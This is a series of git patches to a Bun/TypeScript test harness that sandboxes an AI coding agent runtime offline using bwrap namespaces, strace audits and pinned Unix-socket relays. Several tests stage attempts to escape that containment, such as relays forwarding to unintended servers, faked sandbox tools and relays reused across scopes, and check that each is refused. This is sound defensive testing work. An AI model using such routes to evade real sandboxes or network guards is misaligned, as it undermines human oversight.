nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}], + env:{ANTHROPIC_BASE_URL:"http://localhost",ANTHROPIC_UNIX_SOCKET:"/tmp/relay/relay.sock"}, + argv:["bwrap","--unshare-net","--ro-bind",${JSON.stringify(scratch)},"/tmp/relay","--",${JSON.stringify(runtime)}]})});`, scratch); + expect(result.code).not.toBe(0); + expect(result.output).toContain('"reason":"pre-existing native relay is not guard-owned"'); + expect(result.output).toContain('"nativeLaunched":false'); + } finally { service.stop(true); rmSync(scratch, { recursive: true, force: true }); } +}); + +test("guard-created relay handlers cannot switch their pinned scripted destination", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-owned-relay-")); + let unintended = 0; + const target = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { return new Response("Ithaca"); } }); + const other = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { unintended++; return new Response("Unintended"); } }); + try { + const result = await probe(`${imports} + import {nativeScriptedService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + const restore=nativeScriptedService(${JSON.stringify(target.url.origin)}); + const socket=${JSON.stringify(join(scratch, "relay.sock"))}; + const relay=Bun.serve({unix:socket,async fetch(){return fetch(${JSON.stringify(other.url.origin)});}}); + restore(); + try {await fetch("http://localhost/v1/messages",{unix:socket});} finally {relay.stop(true);} process.exit(0);`, scratch); + expect(result.code).not.toBe(0); + expect(result.output).toContain('"reason":"unintended relay destination"'); + expect(unintended).toBe(0); + } finally { target.stop(true); other.stop(true); rmSync(scratch, { recursive: true, force: true }); } +}); + +test("guard-owned Node HTTP relays pin their TCP transports too", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-node-relay-")); + let unintended = 0; + const target = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { return new Response("Ithaca"); } }); + const other = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { unintended++; return new Response("Unintended"); } }); + try { + const result = await probe(`${imports} + import {createServer,request} from "node:http"; + import {nativeScriptedService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + const restore=nativeScriptedService(${JSON.stringify(target.url.origin)}); + const relay=createServer((incoming,response)=>{try{ + const upstream=request(${JSON.stringify(other.url.origin)},reply=>{response.writeHead(reply.statusCode);reply.pipe(response);}); + upstream.on("error",()=>{response.writeHead(403);response.end("Denied");});upstream.end(); + }catch{response.writeHead(403);response.end("Denied");}}); + const socket=${JSON.stringify(join(scratch, "relay.sock"))}; + await new Promise(resolve=>relay.listen(socket,resolve));restore(); + const reply=await fetch("http://localhost/v1/messages",{unix:socket});await reply.text(); + relay.closeAllConnections();await new Promise(resolve=>relay.close(resolve));process.exit(0);`, scratch); + expect(result.code).not.toBe(0); + expect(result.output).toContain('"reason":"unintended relay destination"'); + expect(unintended).toBe(0); + } finally { target.stop(true); other.stop(true); rmSync(scratch, { recursive: true, force: true }); } +}); + +test("workspace SDK discovery works without root resolution and fails closed for a missing owner SDK", async () => { + const { createRequire } = await import("node:module"); + const sdk = createRequire(import.meta.url).resolve("@anthropic-ai/claude-agent-sdk"); + const scratch = mkdtempSync(join(tmpdir(), "odysseus-workspace-sdk-")); + try { + mkdirSync(join(scratch, "scripts")); + mkdirSync(join(scratch, "packages/native/node_modules/@anthropic-ai"), { recursive: true }); + writeFileSync(join(scratch, "package.json"), JSON.stringify({ private: true })); + writeFileSync(join(scratch, "packages/native/package.json"), JSON.stringify({ name: "odysseus-native", dependencies: { "@anthropic-ai/claude-agent-sdk": "*" } })); + copyFileSync(join(ROOT, "scripts/test-native-guard.ts"), join(scratch, "scripts/test-native-guard.ts")); + const link = join(scratch, "packages/native/node_modules/@anthropic-ai/claude-agent-sdk"); + symlinkSync(dirname(sdk), link); + const module = join(scratch, "scripts/test-native-guard.ts"); + const available = await probe(`import {isNativeClaude} from ${JSON.stringify(module)}; + if(!isNativeClaude(${JSON.stringify(runtime)}))throw Error("workspace native SDK was missed");`, scratch); + expect(available.code, available.output).toBe(0); + rmSync(link); + const missing = await probe(`import {isNativeClaude} from ${JSON.stringify(module)};isNativeClaude("/usr/bin/true");`, scratch); + expect(missing.code).not.toBe(0); + expect(missing.output).toContain('"reason":"installed SDK runtime discovery failed"'); + expect(missing.output).toContain('"nativeLaunched":false'); + } finally { rmSync(scratch, { recursive: true, force: true }); } +}); + // Positive native tests are deliberately unavailable on developer hosts. The // local suite proves refusal above; CI executes this assertion rather than a // skipped test or an unsealed fallback. From f335fc27de67d2bd4266a21e26f61002d7437685 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 20:00:08 +0000 Subject: [PATCH 016/187] fix(ci): type the guarded HTTP server receiver --- scripts/test-network-guard.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 557e128459..d88097e154 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -32,11 +32,11 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { Object.assign(process.env, testGitEnvironment(process.env)); const nativeHttpListen = HttpServer.prototype.listen; const nativeHttpEmit = HttpServer.prototype.emit; - HttpServer.prototype.listen = function(...args: unknown[]) { + HttpServer.prototype.listen = function(this: HttpServer, ...args: unknown[]) { guardNativeHttpListen(this, args); return Reflect.apply(nativeHttpListen, this, args); } as typeof nativeHttpListen; - HttpServer.prototype.emit = function(...args: unknown[]) { + HttpServer.prototype.emit = function(this: HttpServer, ...args: unknown[]) { return guardNativeHttpEvent(this, args[0], () => Reflect.apply(nativeHttpEmit, this, args)); } as typeof nativeHttpEmit; const nativeServe = Bun.serve; From a578f88c0bd7f06af9178929077fd4b61254ff8b Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 20:15:51 +0000 Subject: [PATCH 017/187] fix(ci): qualify absolute launch tools and native inspection receipts --- scripts/test-native-guard.ts | 25 +++++++++++++++++++------ tests/native-offline-boundary.test.ts | 22 ++++++++++++++++++++++ 2 files changed, 41 insertions(+), 6 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index ebdbcedc86..6196d75d8a 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -10,6 +10,7 @@ const ROOT = resolve(import.meta.dir, ".."); const SYSTEM = ["/usr", "/bin", "/sbin", "/lib", "/lib32", "/lib64", "/libx32"]; const within = (root: string, path: string) => path === root || path.startsWith(`${root}/`); let qualified = false; +let bwrapExecutable = "bwrap", straceExecutable = "strace"; let denied = 0, reported = 0; export function nativeIsolationFailed(): boolean { return denied > 0; } export function assertNoNativeRefusals(): void { @@ -132,6 +133,8 @@ function qualify(): void { { env: {}, stdout: "pipe", stderr: "pipe", timeout: 5000 }); } catch { refuse("native connection audit setup failed"); } if (trace.exitCode !== 0) refuse("native connection audit setup failed"); + bwrapExecutable = Bun.which("bwrap") ?? refuse("OS namespace setup failed"); + straceExecutable = Bun.which("strace") ?? refuse("native connection audit setup failed"); qualified = true; } @@ -189,7 +192,7 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c return receipt; } finally { cleanup(); rmSync(directory, { recursive: true, force: true }); } }; - return { argv: ["strace", "-f", "-qq", "-s", "0", "-e", "trace=connect,execve", "-e", "raw=connect", "-o", log, "--", ...argv], + return { argv: [straceExecutable, "-f", "-qq", "-s", "0", "-e", "trace=connect,execve", "-e", "raw=connect", "-o", log, "--", ...argv], dispose() { finish(); }, receipt: finish }; } @@ -203,8 +206,8 @@ export function startNativeTestRelay(upstream: string | undefined) { const directory = mkdtempSync(join(tmpdir(), "odysseus-native-relay-")); const socket = join(directory, "relay.sock"); const uid = process.getuid?.() ?? 0, gid = process.getgid?.() ?? 0; - writeFileSync(join(directory, "passwd"), `odysseus:x:${uid}:${gid}:Odysseus:/tmp/native-account:/bin/sh\n`); - writeFileSync(join(directory, "group"), `odysseus:x:${gid}:\n`); + writeFileSync(join(directory, "passwd"), `${uid === 0 ? "" : "root:x:0:0:Odysseus:/tmp/native-account:/bin/sh\n"}odysseus:x:${uid}:${gid}:Odysseus:/tmp/native-account:/bin/sh\n`); + writeFileSync(join(directory, "group"), `${gid === 0 ? "" : "root:x:0:\n"}odysseus:x:${gid}:\n`); const handle = async (request: Request): Promise => { const url = new URL(request.url); // Concatenate onto the fixed authority; never resolve a request-controlled @@ -225,6 +228,11 @@ export function startNativeTestRelay(upstream: string | undefined) { return { directory, handle, dispose() { server.stop(true); rmSync(directory, { recursive: true, force: true }); } }; } +function expectedNativeExec(command: string, args: readonly string[], options: SpawnContext): string[] { + const native = [command, ...args].filter(value => isNativeClaude(value, [], options)); + return [...new Set((native.length ? native : [command]).flatMap(value => [resolve(options.cwd ?? process.cwd(), value), resolveExecutable(value, options)]))]; +} + /** Direct SDK launch: empty filesystem, fresh PID/network namespaces, one IPC. */ export function nativeClaudeBoundary(command: string, args: string[], options: { cwd?: string; env?: Record; managedSettings?: string }): Boundary { qualify(); @@ -243,7 +251,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { try { command = resolveExecutable(command, options); const executable = realpathSync(command); - const argv = ["bwrap", "--unshare-all", "--die-with-parent", "--new-session", "--cap-drop", "ALL", ...systemMounts(), + const argv = [bwrapExecutable, "--unshare-all", "--die-with-parent", "--new-session", "--cap-drop", "ALL", ...systemMounts(), "--proc", "/proc", "--dev", "/dev", "--tmpfs", "/tmp", ...testRuntimeMounts(), "--ro-bind", executable, command, "--ro-bind", process.execPath, process.execPath, "--bind", home, home, ...(cwd === ROOT || within(ROOT, cwd) || within(home, cwd) ? [] : ["--bind", cwd, cwd]), @@ -267,9 +275,14 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { childEnv.CLAUDE_CODE_OAUTH_TOKEN = env.CLAUDE_CODE_OAUTH_TOKEN!; } if (inheritedOrigin) Object.assign(childEnv, relayCredentialPlaceholders(env)); + if (args.some((value, index) => value === "auth" && args[index + 1] === "status")) { + // Auth status inspects the isolated fixture login; injecting an API key + // would change the very authentication method the fixture is testing. + for (const key of ["ANTHROPIC_API_KEY", "ANTHROPIC_AUTH_TOKEN", "CLAUDE_CODE_OAUTH_TOKEN"]) delete childEnv[key]; + } for (const [key, value] of Object.entries(childEnv)) argv.push("--setenv", key, value); argv.push("--chdir", cwd, "--", command, ...args); - const audited = auditNativeLaunch(argv, [command], () => { bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); }); + const audited = auditNativeLaunch(argv, expectedNativeExec(command, args, options), () => { bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); }); return { ...audited, env: {} }; } catch (error) { bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); throw error; } } @@ -413,7 +426,7 @@ export function nativeWorkerBoundary(env: Record): { argv.splice(separator, 0, "--ro-bind", bridge.directory, "/tmp/native-relay", "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", ...Object.entries(pinned).flatMap(([key, value]) => ["--setenv", key, value])); - const audited = auditNativeLaunch(argv, launch.command.filter(value => isNativeClaude(value, [], { cwd: launch.brainPath, env: launch.env })).map(value => resolveExecutable(value, { cwd: launch.brainPath, env: launch.env })), bridge.dispose); + const audited = auditNativeLaunch(argv, expectedNativeExec(launch.command[0], launch.command.slice(1), { cwd: launch.brainPath, env: launch.env }), bridge.dispose); launch.argv = audited.argv; return { env: { ...env, BRAIN_WORKER_LAUNCH: JSON.stringify(launch) }, dispose: audited.dispose }; } catch (error) { bridge.dispose(); throw error; } diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index dd59f69249..bc7849163c 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -140,6 +140,28 @@ test("cleanup cannot claim native exec from an empty or launcher-only trace", as } finally { rmSync(scratch, { recursive: true, force: true }); } }); +test("wrapper exec and auth inspection cannot fabricate native launch or injected credentials", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-wrapper-audit-")); + try { + const result = await probe(`${imports} + import {writeFileSync} from "node:fs"; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + const boundary=nativeClaudeBoundary("/usr/bin/unshare",["--user",${JSON.stringify(runtime)},"auth","status","--json"], + {cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_BASE_URL:"http://127.0.0.1:1"}}); + if(boundary.argv[0]!=="/synthetic/strace")throw Error("audit executable was not resolved"); + const setup=boundary.argv.slice(0,boundary.argv.lastIndexOf("--")); + for(let i=0;i { const scratch = mkdtempSync(join(tmpdir(), "odysseus-unowned-relay-")); const socket = join(scratch, "relay.sock"); From d92b93900550f62426f19e403d6d1fa5a15643f7 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 20:20:40 +0000 Subject: [PATCH 018/187] fix(ci): seal standalone native proof commands with the test boundary --- scripts/check-pr.ts | 4 ++-- scripts/measure-claude-capability.ts | 2 ++ scripts/measure-claude-delegation.ts | 2 ++ scripts/measure-claude-haiku.ts | 2 ++ scripts/measure-claude-runtime.ts | 2 ++ scripts/test-native-guard.ts | 4 ++-- tests/hosted-proof.test.ts | 10 ++++++++++ 7 files changed, 22 insertions(+), 4 deletions(-) diff --git a/scripts/check-pr.ts b/scripts/check-pr.ts index 7c2f2555e1..2738b11db4 100644 --- a/scripts/check-pr.ts +++ b/scripts/check-pr.ts @@ -54,10 +54,10 @@ export function localChecks(plan: CheckPlan, full = false, mergeBase?: string, i // complete test suite above; a fake allowlist check cannot replace it. for (const script of ["measure-claude-runtime", "measure-claude-enforcement"]) checks.push({ name: script, argv: ["unshare", "--user", "--map-root-user", "--net", "sh", "-c", - `ip link set lo up && bun scripts/${script}.ts --out tmp/${script}.json`] }); + `ip link set lo up && bun --no-install --preload scripts/test-network-child-preload.ts scripts/${script}.ts --out tmp/${script}.json`] }); checks.push({ name: "native delegation, capabilities and measurement isolation", argv: ["unshare", "--user", "--map-current-user", "--keep-caps", "--net", "sh", "-c", - "ip link set lo up && exec setpriv --inh-caps=-all --ambient-caps=-all --bounding-set=-all sh -c 'bun scripts/measure-claude-delegation.ts --out tmp/delegation-probe.json && bun scripts/measure-claude-capability.ts > tmp/capability-probe.json && bun scripts/measure-claude-haiku.ts > tmp/haiku-probe.json && bun run test ./tests/measurement-isolation.test.ts ./experiments/turn-surface-runtime-placement.test.ts'"] }); + "ip link set lo up && exec setpriv --inh-caps=-all --ambient-caps=-all --bounding-set=-all sh -c 'bun --no-install --preload scripts/test-network-child-preload.ts scripts/measure-claude-delegation.ts --out tmp/delegation-probe.json && bun --no-install --preload scripts/test-network-child-preload.ts scripts/measure-claude-capability.ts > tmp/capability-probe.json && bun --no-install --preload scripts/test-network-child-preload.ts scripts/measure-claude-haiku.ts > tmp/haiku-probe.json && bun run test ./tests/measurement-isolation.test.ts ./experiments/turn-surface-runtime-placement.test.ts'"] }); checks.push({ name: "native managed hosted admission", argv: [bun, "scripts/prove-native-host.ts"] }); checks.push({ name: "native separate-UID worker identity", argv: [bun, "scripts/prove-worker-identity.ts"] }); checks.push({ name: "native reference pool allocation", argv: [bun, "scripts/prove-reference-pool.ts"] }); diff --git a/scripts/measure-claude-capability.ts b/scripts/measure-claude-capability.ts index cc8bda7db1..1a60efaa3e 100644 --- a/scripts/measure-claude-capability.ts +++ b/scripts/measure-claude-capability.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "./test-native-guard.ts"; // #1213: keyless Sonnet 5.5 native metadata control. Run with loopback only. import assert from "node:assert/strict"; import { CLEARED_API_CREDENTIALS } from "../packages/ui-backend-claude/src/subscription"; @@ -23,6 +24,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(req) { ]; return new Response(events.map(event => `event: ${event.type}\ndata: ${JSON.stringify(event)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); +nativeScriptedService(server.url.origin); let init: unknown, result: unknown, handshake: unknown; const controller = new AbortController(); const deadline = setTimeout(() => controller.abort(), 20000); diff --git a/scripts/measure-claude-delegation.ts b/scripts/measure-claude-delegation.ts index 225f7a6a64..971fcf90c1 100644 --- a/scripts/measure-claude-delegation.ts +++ b/scripts/measure-claude-delegation.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "./test-native-guard.ts"; // #1213: production enforcement and foreground rewrite inherited by a real subagent. // Run with only loopback enabled. All credentials and commands are controlled fixtures. import assert from "node:assert/strict"; @@ -63,6 +64,7 @@ for (const allowChild of [false, true]) { type: string; }).type}\ndata: ${JSON.stringify(event)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); +nativeScriptedService(server.url.origin); const saved = { ...process.env }; Object.assign(process.env, { HOME: home, CLAUDE_CONFIG_DIR: join(home, "config") }); const observed: typeof query = params => { diff --git a/scripts/measure-claude-haiku.ts b/scripts/measure-claude-haiku.ts index 1e0c4df24e..559f7c3046 100644 --- a/scripts/measure-claude-haiku.ts +++ b/scripts/measure-claude-haiku.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "./test-native-guard"; // #1238: actual bundled runtime, production model assembly, fixture inference. // Run inside a network namespace with only loopback. No real credentials. import assert from "node:assert/strict"; @@ -66,6 +67,7 @@ try { ]; return new Response(events.map(event => `event: ${event.type}\ndata: ${JSON.stringify(event)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); + nativeScriptedService(server.url.origin); const profiles = defineProfiles([{ id: model, model, label: "Claude Haiku 5.5", apiKeyEnv: "OFFLINE_FIXTURE_KEY" }]); profiles[0]!.requiredEnvKeys = []; profiles[0]!.buildEnv = () => ({ ...env, ANTHROPIC_BASE_URL: `http://127.0.0.1:${server!.port}` }); diff --git a/scripts/measure-claude-runtime.ts b/scripts/measure-claude-runtime.ts index e68bcc1199..6de8bc48f4 100644 --- a/scripts/measure-claude-runtime.ts +++ b/scripts/measure-claude-runtime.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "./test-native-guard.ts"; // Re-measures the Claude Code runtime behaviours the permission design rests // on, against whatever SDK and CLI this workspace installs (#209, // docs/decisions/claude-code-runtime.md, "Re-checking a measured behaviour @@ -175,6 +176,7 @@ export function scriptedModel(): { return toolReply(call); }, }); +nativeScriptedService(server.url.origin); return { url: `http://127.0.0.1:${server.port}`, plan(next) { diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 6196d75d8a..adf32004a7 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -260,7 +260,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { ...(inheritedSocket && inheritedOrigin ? ["--ro-bind", inheritedSocket, "/tmp/native-relay/relay.sock", "--ro-bind", inheritedSocket, inheritedSocket] : []), ...(options.managedSettings ? ["--ro-bind", options.managedSettings, "/etc/claude-code"] : []), "--clearenv"]; const childEnv: Record = { HOME: home, CLAUDE_CONFIG_DIR: versionHome ?? env.CLAUDE_CONFIG_DIR ?? home, - PATH: "/usr/bin:/bin", LANG: "C.UTF-8", ANTHROPIC_API_KEY: "offline-odysseus", + PATH: "/usr/bin:/bin", LANG: "C.UTF-8", ANTHROPIC_API_KEY: "offline-fixture", ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: "/tmp/native-relay/relay.sock", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1" }; // These are public model selectors, never ambient provider credentials. @@ -421,7 +421,7 @@ export function nativeWorkerBoundary(env: Record): { } argv.splice(bwrap + 1, 0, "--unshare-net", ...systemMounts(), ...testRuntimeMounts(), "--ro-bind", process.execPath, process.execPath); const pinned = { ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: socket && ownedOrigin ? socket : "/tmp/native-relay/relay.sock", - ...(ownedOrigin ? relayCredentialPlaceholders(launch.env ?? {}) : { ANTHROPIC_API_KEY: "offline-odysseus", ANTHROPIC_AUTH_TOKEN: "", CLAUDE_CODE_OAUTH_TOKEN: "" }) }; + ...(ownedOrigin ? relayCredentialPlaceholders(launch.env ?? {}) : { ANTHROPIC_API_KEY: "offline-fixture", ANTHROPIC_AUTH_TOKEN: "", CLAUDE_CODE_OAUTH_TOKEN: "" }) }; const separator = argv.indexOf("--", bwrap); argv.splice(separator, 0, "--ro-bind", bridge.directory, "/tmp/native-relay", "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", diff --git a/tests/hosted-proof.test.ts b/tests/hosted-proof.test.ts index 03254322b8..b081a1c131 100644 --- a/tests/hosted-proof.test.ts +++ b/tests/hosted-proof.test.ts @@ -422,3 +422,13 @@ test("an oversized browser selection runs as planned partitions: every pair in e expect(browserDeterminismShards({ ...selected, browserDeterminism: undefined, cadence: "confirmation" })).toEqual([1]); expect(browserDeterminismShards({ ...armada, cadence: "integrated" }), "MAIN_NEVER_REPEATS").toEqual([1]); }); + +test("standalone native measurement commands load the same offline boundary as tests", () => { + const plan = planChecks(["scripts/test-network-guard.ts"], workspaces(ROOT)); + const commands = localChecks(plan, true); + for (const script of ["measure-claude-runtime", "measure-claude-enforcement", "measure-claude-delegation", "measure-claude-capability", "measure-claude-haiku"]) { + const command = commands.find(command => command.argv.join(" ").includes(`scripts/${script}.ts`)); + expect(command, script).toBeDefined(); + expect(command!.argv.join(" ")).toContain(`bun --no-install --preload scripts/test-network-child-preload.ts scripts/${script}.ts`); + } +}); From 631a3118ea17bc663da0eef47aa8a4bd913a7533 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 20:32:47 +0000 Subject: [PATCH 019/187] fix(ci): scope relay capabilities to the current scripted service --- scripts/test-native-guard.ts | 8 ++++++++ tests/native-offline-boundary.test.ts | 18 ++++++++++++++++++ 2 files changed, 26 insertions(+) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index adf32004a7..ddcafef8e6 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -247,6 +247,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { const inheritedSocket = env.ANTHROPIC_UNIX_SOCKET; const inheritedOrigin = inheritedSocket && ownedSocketOrigin(inheritedSocket); if (inheritedSocket && !inheritedOrigin) refuse("pre-existing native relay is not guard-owned"); + if (inheritedOrigin && (!scriptedRoute.getStore() || normalizedOrigin(inheritedOrigin) !== normalizedOrigin(scriptedRoute.getStore()!.origin))) refuse("native relay did not match scripted authority"); const bridge = startNativeTestRelay(versionOnly ? "http://127.0.0.1:1" : inheritedOrigin ?? scriptedRoute.getStore()?.origin ?? env.ANTHROPIC_BASE_URL); try { command = resolveExecutable(command, options); @@ -333,6 +334,12 @@ export function guardNativeRelayServer(options: any, create: (options: any) => a return server; } +function normalizedOrigin(origin: string): string { + const url = new URL(origin); + if (url.hostname === "localhost") url.hostname = "127.0.0.1"; + return url.origin; +} + export function assertNativeRelayDestination(url: URL): void { const route = relayForwarding.getStore(); if (!route) return; @@ -413,6 +420,7 @@ export function nativeWorkerBoundary(env: Record): { const route = scriptedRoute.getStore(); const ownedOrigin = socket && admittedRelay(argv, socket); if (socket && !ownedOrigin) refuse("pre-existing native relay is not guard-owned"); + if (ownedOrigin && (!route || normalizedOrigin(ownedOrigin) !== normalizedOrigin(route.origin))) refuse("native relay did not match scripted authority"); qualify(); const bridge = startNativeTestRelay(ownedOrigin ?? route?.origin ?? launch.env?.ANTHROPIC_BASE_URL); try { diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index bc7849163c..9935aec6f4 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -178,6 +178,24 @@ test("an arbitrary same-user Unix relay is refused before namespace setup", asyn } finally { service.stop(true); rmSync(scratch, { recursive: true, force: true }); } }); +test("a guard-created relay from another scripted scope is not transferable", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-relay-authority-")); + try { + const result = await probe(`${imports} + import {nativeScriptedService,nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + const leave=nativeScriptedService("http://127.0.0.1:1"); + const socket=${JSON.stringify(join(scratch, "relay.sock"))}; + const relay=Bun.serve({unix:socket,fetch(){return new Response("owned");}});leave(); + const restore=nativeScriptedService("http://127.0.0.1:2"); + try{nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}], + env:{ANTHROPIC_BASE_URL:"http://localhost",ANTHROPIC_UNIX_SOCKET:"/tmp/relay/relay.sock"}, + argv:["bwrap","--unshare-net","--ro-bind",${JSON.stringify(scratch)},"/tmp/relay","--",${JSON.stringify(runtime)}]})});} + finally{restore();relay.stop(true);}`, scratch); + expect(result.code).not.toBe(0); + expect(result.output).toContain('"reason":"native relay did not match scripted authority"'); + } finally { rmSync(scratch, { recursive: true, force: true }); } +}); + test("guard-created relay handlers cannot switch their pinned scripted destination", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-owned-relay-")); let unintended = 0; From 89b832715dd0d4c89b78858e6c2ba3b1789b7c72 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 20:42:05 +0000 Subject: [PATCH 020/187] fix(ci): resolve preload files and preserve offline auth inspection --- scripts/check-pr.ts | 4 ++-- scripts/test-native-guard.ts | 2 +- tests/hosted-proof.test.ts | 26 ++++++++++++++++++++++++-- tests/native-offline-boundary.test.ts | 2 +- 4 files changed, 28 insertions(+), 6 deletions(-) diff --git a/scripts/check-pr.ts b/scripts/check-pr.ts index 2738b11db4..db5d8050de 100644 --- a/scripts/check-pr.ts +++ b/scripts/check-pr.ts @@ -54,10 +54,10 @@ export function localChecks(plan: CheckPlan, full = false, mergeBase?: string, i // complete test suite above; a fake allowlist check cannot replace it. for (const script of ["measure-claude-runtime", "measure-claude-enforcement"]) checks.push({ name: script, argv: ["unshare", "--user", "--map-root-user", "--net", "sh", "-c", - `ip link set lo up && bun --no-install --preload scripts/test-network-child-preload.ts scripts/${script}.ts --out tmp/${script}.json`] }); + `ip link set lo up && bun --no-install --preload ./scripts/test-network-child-preload.ts scripts/${script}.ts --out tmp/${script}.json`] }); checks.push({ name: "native delegation, capabilities and measurement isolation", argv: ["unshare", "--user", "--map-current-user", "--keep-caps", "--net", "sh", "-c", - "ip link set lo up && exec setpriv --inh-caps=-all --ambient-caps=-all --bounding-set=-all sh -c 'bun --no-install --preload scripts/test-network-child-preload.ts scripts/measure-claude-delegation.ts --out tmp/delegation-probe.json && bun --no-install --preload scripts/test-network-child-preload.ts scripts/measure-claude-capability.ts > tmp/capability-probe.json && bun --no-install --preload scripts/test-network-child-preload.ts scripts/measure-claude-haiku.ts > tmp/haiku-probe.json && bun run test ./tests/measurement-isolation.test.ts ./experiments/turn-surface-runtime-placement.test.ts'"] }); + "ip link set lo up && exec setpriv --inh-caps=-all --ambient-caps=-all --bounding-set=-all sh -c 'bun --no-install --preload ./scripts/test-network-child-preload.ts scripts/measure-claude-delegation.ts --out tmp/delegation-probe.json && bun --no-install --preload ./scripts/test-network-child-preload.ts scripts/measure-claude-capability.ts > tmp/capability-probe.json && bun --no-install --preload ./scripts/test-network-child-preload.ts scripts/measure-claude-haiku.ts > tmp/haiku-probe.json && bun run test ./tests/measurement-isolation.test.ts ./experiments/turn-surface-runtime-placement.test.ts'"] }); checks.push({ name: "native managed hosted admission", argv: [bun, "scripts/prove-native-host.ts"] }); checks.push({ name: "native separate-UID worker identity", argv: [bun, "scripts/prove-worker-identity.ts"] }); checks.push({ name: "native reference pool allocation", argv: [bun, "scripts/prove-reference-pool.ts"] }); diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index ddcafef8e6..034a10fc6a 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -279,7 +279,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { if (args.some((value, index) => value === "auth" && args[index + 1] === "status")) { // Auth status inspects the isolated fixture login; injecting an API key // would change the very authentication method the fixture is testing. - for (const key of ["ANTHROPIC_API_KEY", "ANTHROPIC_AUTH_TOKEN", "CLAUDE_CODE_OAUTH_TOKEN"]) delete childEnv[key]; + for (const key of ["ANTHROPIC_API_KEY", "ANTHROPIC_AUTH_TOKEN", "CLAUDE_CODE_OAUTH_TOKEN", "ANTHROPIC_BASE_URL", "ANTHROPIC_UNIX_SOCKET"]) delete childEnv[key]; } for (const [key, value] of Object.entries(childEnv)) argv.push("--setenv", key, value); argv.push("--chdir", cwd, "--", command, ...args); diff --git a/tests/hosted-proof.test.ts b/tests/hosted-proof.test.ts index b081a1c131..2989529c83 100644 --- a/tests/hosted-proof.test.ts +++ b/tests/hosted-proof.test.ts @@ -1,5 +1,5 @@ import { afterEach, expect, test } from "bun:test"; -import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join, resolve } from "node:path"; import { BROWSER_DETERMINISM_REPORT, browserDeterminismPairs, categoryCommands, 